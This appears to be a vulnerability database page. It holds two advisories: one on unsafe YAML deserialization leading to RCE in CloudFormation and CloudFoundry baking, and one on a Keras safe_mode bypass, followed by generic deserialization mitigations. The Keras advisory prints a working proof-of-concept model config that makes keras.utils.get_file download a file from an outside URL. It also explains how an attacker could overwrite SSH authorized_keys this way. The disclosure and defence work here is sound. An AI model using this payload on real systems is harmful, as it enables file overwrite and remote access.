GHSA-C8Q4-9H32-2WW8
Vulnerability from github – Published: 2026-06-22 20:43 – Updated: 2026-06-22 20:43Impact
There's an unsafe YAML processing vulnerability that bypasses safe deserialization. This impacts users when when performing: * CloudFormation deployments * CloudFoundry Baking
The usage of a non-safe constructor use allows arbitrary loading of Java classes leading to RCE.
Patches
2025.3.3, 2026.0.3 and 2025.4.4.
Workarounds
Disable the CloudFormation system and cloudfoundry baking operations.

GHSA-C9RC-MG46-23W3
Vulnerability from github – Published: 2025-08-12 19:33 – Updated: 2026-05-29 20:50Summary
It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.
The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).
Impact
| Type | Vector | Impact |
|---|---|---|
| Unsafe deserialization | Client-Side (when loading untrusted model) | Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases. |
Details
Keras’ safe_mode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “lambda” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -
if config["class_name"] == "__lambda__":
if safe_mode:
raise ValueError(
"Requested the deserialization of a `lambda` object. "
"This carries a potential risk of arbitrary code execution "
"and thus it is disallowed by default. If you trust the "
"source of the saved model, you can pass `safe_mode=False` to "
"the loading function in order to allow `lambda` loading, "
"or call `keras.config.enable_unsafe_deserialization()`."
)
A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.get_file, and download remote files to an attacker-controlled location.
This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorized_keys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine.
Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).
Example
The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.get_file() -
{
"class_name": "Lambda",
"config": {
"arguments": {
"origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
"cache_dir":"/tmp",
"cache_subdir":"",
"force_download": true},
"function": {
"class_name": "function",
"config": "get_file",
"module": "keras.utils"
}
},
```
### PoC
1. Download [malicious_model_download.keras](https://drive.google.com/file/d/1gS2I6VTTRUwUq8gBoMmvTGaN0SX1Vr8F/view?usp=drive_link) to a local directory
2. Load the model -
from keras.models import load_model model = load_model("malicious_model_download.keras", safe_mode=True) ```
- Observe that a new file
index.jswas created in the/tmpdirectory
Fix suggestions
- Add an additional flag
block_all_lambdathat allows users to completely disallow loading models with a Lambda layer. - Audit the
keras,keras_hub,keras_cv,keras_nlpmodules and remove/block all “gadget functions” which could be used by malicious ML models. - Add an additional flag
lambda_whitelist_functionsthat allows users to specify a list of functions that are allowed to be invoked by a Lambda layer

Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.
